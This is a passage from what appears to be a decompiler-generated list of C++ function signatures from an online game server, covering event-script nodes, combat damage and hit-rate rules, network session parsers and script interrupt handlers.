exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectObject::sa_Step(PineEventScriptNode::ShineEffectObject *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEffectLocate::sa_Step(PineEventScriptNode::ShineEffectLocate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAggro::sa_Step(PineEventScriptNode::ShineAggro *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobDetectRange::sa_Step(PineEventScriptNode::ShineMobDetectRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHeal::sa_Step(PineEventScriptNode::ShineHeal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineAnimate::sa_Step(PineEventScriptNode::ShineAnimate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDuplicate::sa_Step(PineEventScriptNode::ShineDuplicate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWaitIdle::sa_Step(PineEventScriptNode::ShineWaitIdle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDeathCountClear::sa_Step(PineEventScriptNode::ShineDeathCountClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemAttrSet::sa_Step(PineEventScriptNode::ShineItemAttrSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineScinarioCode::sa_Step(PineEventScriptNode::ShineScinarioCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStart::sa_Step(PineEventScriptNode::ShineBattleStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBattleStop::sa_Step(PineEventScriptNode::ShineBattleStop *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSendKQResult::sa_Step(PineEventScriptNode::ShineSendKQResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineInvidualReward::sa_Step(PineEventScriptNode::ShineInvidualReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineReturnValue::sa_Step(PineEventScriptNode::ShineReturnValue *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSubLayerShift::sa_Step(PineEventScriptNode::ShineSubLayerShift *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleportAll::sa_Step(PineEventScriptNode::ShineTeleportAll *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineTeleport::sa_Step(PineEventScriptNode::ShineTeleport *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineItemOwner::sa_Step(PineEventScriptNode::ShineItemOwner *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindow::sa_Step(PineEventScriptNode::ShineChatWindow *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineChatWindowRange::sa_Step(PineEventScriptNode::ShineChatWindowRange *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobAttribute::sa_Step(PineEventScriptNode::ShineMobAttribute *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListObjectCollector::ala_CompareGuild(AxialListObjectCollector *this, #325 *obj); char __thiscall AxialListObjectCollector::ali_Work(AxialListObjectCollector *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeCreate::sa_Step(PineEventScriptNode::ShineCostumeCreate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineCostumeTakeOff::sa_Step(PineEventScriptNode::ShineCostumeTakeOff *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWeddingComplete::sa_Step(PineEventScriptNode::ShineWeddingComplete *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShinePlayerWalk::sa_Step(PineEventScriptNode::ShinePlayerWalk *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); char __thiscall AxialListBanArea::ali_Work(AxialListBanArea *this, #325 *, #325 *, unsigned int); char __thiscall AxialListRevival::ali_Work(AxialListRevival *this, #325 *, #325 *, unsigned int); unsigned __int16 __thiscall PineEventScriptNode::ShineRevival::sa_Step(PineEventScriptNode::ShineRevival *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineWhoKillMe::sa_Step(PineEventScriptNode::ShineWhoKillMe *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::NPCChatNoFacecut::sa_Step(PineEventScriptNode::NPCChatNoFacecut *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ScinarioCodeParty::sa_Step(PineEventScriptNode::ScinarioCodeParty *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::BroadcastCode::sa_Step(PineEventScriptNode::BroadcastCode *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineSpawn::sa_Step(PineEventScriptNode::ShineSpawn *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineHPSet::sa_Step(PineEventScriptNode::ShineHPSet *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe(); void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this); void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this); void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this); void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this); void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int); void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this); void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this); void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this); void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this); void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld); unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall List::l_Clear(List *this); unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::os_ObjectRegen(PineEventScriptNode::OtherStatement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip, #325 *obj, unsigned __int16 mobhnd, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *brief); unsigned __int16 __thiscall PineEventScriptNode::ShineMobRegen::sa_Step(PineEventScriptNode::ShineMobRegen *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineFindPlayer::sa_Step(PineEventScriptNode::ShineFindPlayer *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineBanFromArea::sa_Step(PineEventScriptNode::ShineBanFromArea *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineDiceGameStart::sa_Step(PineEventScriptNode::ShineDiceGameStart *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::HasAbstate::sa_Step(PineEventScriptNode::HasAbstate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTRegisterNPC::sa_Step(PineEventScriptNode::GTRegisterNPC *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::RegisterGTPortal::sa_Step(PineEventScriptNode::RegisterGTPortal *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteFlag::sa_Step(PineEventScriptNode::ShineRegesteFlag *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineRegesteGate::sa_Step(PineEventScriptNode::ShineRegesteGate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::GTMobRegenKey::sa_Step(PineEventScriptNode::GTMobRegenKey *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); unsigned __int16 __thiscall PineEventScriptNode::ShineMobWeaponRate::sa_Step(PineEventScriptNode::ShineMobWeaponRate *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip); void __thiscall PowedNumber::PowedNumber(PowedNumber *this, long double pow); void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #434 *, unsigned __int16); void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #434 *, unsigned __int16); void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #434 *, unsigned __int16); void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #434 *, unsigned __int16); void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #434 *, unsigned __int16); void __thiscall WorldManagerSession::zbs_Parsing(WorldManagerSession *this, #434 *, unsigned __int16); void __thiscall ClientSession::zbs_Parsing(ClientSession *this, #434 *, unsigned __int16); void __thiscall RecallPointTable::RecallPointTable(ShineScript *this); void __thiscall RecallPointTable::rpt_Load(RecallPointTable *this, Name4 *world); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_NUM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillRewardInven(void *this, int rewardinv); int __thiscall EngNormAtt::ena_LH(EngNormAtt *this, int leveldiff); int __thiscall EngNormAtt::ena_masichitrate(EngNormAtt *this, #325 *, #325 *, EngageFlag *); int __thiscall EngNormAtt::ena_masicdamage(EngNormAtt *this, #325 *, #325 *, EngageFlag *); void __thiscall EngSklAtt::EngSklAtt(EngSklAtt *this); void __thiscall EngSklAtt::_EngSklAtt(EngSklAtt *this); int __thiscall EngNormAtt::ena_attack(EngNormAtt *this, #325 *, #325 *, EngageFlag *, char *); int __thiscall EngSklAtt::esa_physicaldamage(EngSklAtt *this, #325 *, #325 *, EngageFlag *); int __thiscall EngSklAtt::esa_masicaldamage(EngSklAtt *this, #325 *, #325 *, EngageFlag *); long double __thiscall RulesOfEngagement::roe_TH(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_TB(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_AC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MR(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinMA(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxMA(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MinWC(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_MaxWC(RulesOfEngagement *this, EngageArgument *argument); char __thiscall RulesOfEngagement::roe_IsDamageSkill(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_ShieldBlock(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_HitRate(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_DefendPower(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_FreeStatCriRate(RulesOfEngagement *this, EngageArgument *argument, int crirate); long double __thiscall RulesOfEngagement::roe_FreeStatHitRate(RulesOfEngagement *this, EngageArgument *argument, int hitrate); void __thiscall RulesOfEngagement::roe_CriticalStun(RulesOfEngagement *this, EngageArgument *argument); long double __thiscall RulesOfEngagement::roe_CriticalStunRate(RulesOfEngagement *this, EngageArgument *argument); int __thiscall RulesOfEngagement::roe_LevelGapDamageRevision(RulesOfEngagement *this, #325 *, #325 *, int); void __thiscall RulesOfEngagementNormalPY::RulesOfEngagementNormalPY(RulesOfEngagementNormalPY *this); void __thiscall RulesOfEngagementNormalMA::RulesOfEngagementNormalMA(RulesOfEngagementNormalMA *this); void __thiscall RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(RulesOfEngagementPhisycalSkill *this); void __thiscall RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(RulesOfEngagementMagicalSkill *this); void __thiscall RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(RulesOfEngagementAlwaysHit *this); void __thiscall RuleOfEngagementHealAttack::_RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); void __thiscall RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(RulesOfEngagementAlwaysCritical *this); long double __thiscall RulesOfEngagementAlwaysHit::roe_HitRate(RulesOfEngagementAlwaysCritical *this, EngageArgument *argument); int __thiscall RuleOfEngagementHealAttack::roe_CalcDamage(RuleOfEngagementHealAttack *this, EngageArgument *argument); void __thiscall RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(RuleOfEngagementHealAttack *this); int __thiscall EngSklAtt::ena_attack(EngSklAtt *this, #325 *, #325 *, EngageFlag *, char *); long double __thiscall RulesOfEngagement::roe_Damage(RulesOfEngagement *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_Damage(RulesOfEngagementNormalPY *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalMA::roe_Damage(RulesOfEngagementNormalMA *this, EngageArgument *argument, long double AttackPower, long double DefendPower); long double __thiscall RulesOfEngagementNormalPY::roe_HitRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_CriticalRate(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_AttackPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalPY::roe_DefendPower(RulesOfEngagementNormalPY *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_HitRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_CriticalRate(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_AttackPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementNormalMA::roe_DefendPower(RulesOfEngagementNormalMA *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_HitRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_CriticalRate(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_AttackPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementPhisycalSkill::roe_DefendPower(RulesOfEngagementPhisycalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_HitRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_CriticalRate(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_AttackPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); long double __thiscall RulesOfEngagementMagicalSkill::roe_DefendPower(RulesOfEngagementMagicalSkill *this, EngageArgument *argument); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_NotifyParameterChange(void *this, char send); int __thiscall RulesOfEngagement::roe_CalcDamage(RulesOfEngagement *this, EngageArgument *argument); void __thiscall Movie::Theater::Theater(Movie::Theater *this); void __thiscall Movie::Theater::Theater(Movie::Theater *this, char *keyname); void __thiscall Movie::Theater::_Theater(Movie::Theater *this); #585 *__thiscall Movie::Theater::GetFieldMap(Movie::Theater *this); void __thiscall List::_List(List *this); void __thiscall ScenarioBookShelf::ScenarioDescriptBook::_ScenarioDescriptBook(ScenarioBookShelf::ScenarioDescriptBook *this); char __thiscall ScenarioBookShelf::ScenarioDescriptBook::sdb_Load(ScenarioBookShelf::ScenarioDescriptBook *this, char *fname); void __thiscall ScenarioBookShelf::ScenarioBookShelf(ScenarioBookShelf *this); void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this); char __thiscall ScenarioBookShelf::sbs_Read(ScenarioBookShelf *this, char *fname); PineEventScript *__thiscall ScenarioBookShelf::sbs_GetScript(ScenarioBookShelf *this, char *fname, int *scriptid); void __thiscall ScenarioBookShelf::sbsReLoad(ScenarioBookShelf *this, const char *pkscriptname); void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this); int __thiscall Movie::Theater::t_NameCompare(Movie::Theater *this, List *lst, unsigned __int16 hnd, Movie::Theater *key); int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this); void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg); int __thiscall Movie::TimeLimit::tl_LeftTick(Movie::TimeLimit *this); void __thiscall Movie::Theater::t_SetArgument(Movie::Theater *this, #585 *, #325 *); char __thiscall Movie::Theater::t_Routine(Movie::Theater *this, List *lst, unsigned __int16 handle); int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval); void __thiscall List::l_Clear(List *this); void __thiscall ScenarioBookShelf::sbs_ReadNAssert(ScenarioBookShelf *this, char *scriptname); Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #585 *, #325 *); void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg); Movie::Theater *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::Theater *this, List *, unsigned __int16, Movie::Theater *), unsigned __int16 *hnd, Movie::Theater *key); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ScenarioBookShelf::sbs_LoadScripts(ScenarioBookShelf *this); int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval); char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname); char __thiscall Movie::CinemaComplex::cc_DropFilm(Movie::CinemaComplex *this, char *scriptname); char __thiscall List::l_PushA(List *this, Movie::Theater *ele); void *__thiscall Movie::Theater::operator_(void *this, int a2); int __thiscall ScriptInterrupt::ScriptInterruptManager::operator_(int this, int a2); int __thiscall ScriptInterrupt::ScriptInterruptArgument::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, Movie::Theater *ele); char __thiscall List::l_PopA(List *this, Movie::Theater *ele); char __thiscall List::l_PopZ(List *this, Movie::Theater *ele); void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptArgument::_ScriptInterruptArgument(ScriptInterrupt::ScriptInterruptArgument *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::_ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInteruptWinGuild *this); void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle(ScriptInterrupt::ScriptInterruptNPCClickHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex(ScriptInterrupt::ScriptInterruptNPCClickIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny(ScriptInterrupt::ScriptInterruptNPCClickAny *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this); void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate(ScriptInterrupt::ScriptInterruptMobEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate(ScriptInterrupt::ScriptInterruptPlayerEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate(ScriptInterrupt::ScriptInterruptGuildEleminate *this); void __thiscall ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval(ScriptInterrupt::ScriptInterruptInterval *this); void __thiscall ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow(ScriptInterrupt::ScriptInterruptHPLow *this); void __thiscall ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut(ScriptInterrupt::ScriptInterruptTimeOut *this); void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy(ScriptInterrupt::ScriptInterruptKillEnemy *this); void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this); void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead(ScriptInterrupt::ScriptInterruptPlayerDead *this); void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this); void __thiscall ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin(ScriptInterrupt::ScriptInterruptAdmin *this); void __thiscall ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull(ScriptInterrupt::ScriptInterruptHPFull *this); void __thiscall ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper(ScriptInterrupt::ScriptInterruptHPUpper *this); void __thiscall ScriptInterrupt::ScriptInteruptWinGuild::InterruptEvent(ScriptInterrupt::ScriptInteruptWinGuild *this, ScriptInterrupt::ScriptInterruptArgument *pInterruptArument, ScriptInterrupt::InterruptEventArgument *pEventArument); char __thiscall MapBlock::MapBlockInformation::mbi_AreaLeave(MapBlock::MapBlockInformation *this, Name8 *areaindex, unsigned int x, unsigned int y); void __thiscall List::_List(List *this); void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val); void __thiscall ScriptInterrupt::ScriptInterruptManager::_ScriptInterruptManager(ScriptInterrupt::ScriptInterruptManager *this); ScriptInterrupt::ScriptInterruptArgument *__thiscall ScriptInterrupt::ScriptInterruptManager::sim_Alloc(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, ScriptInterrupt::ScriptInterruptBase *inst, PineScriptToken *eventblock, int num); char __thiscall ScriptInterrupt::ScriptInterruptUnitBase::sib_BlastCheck(ScriptInterrupt::ScriptInterruptUnitBase *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_BlastCheck(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #325 *center); char __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, 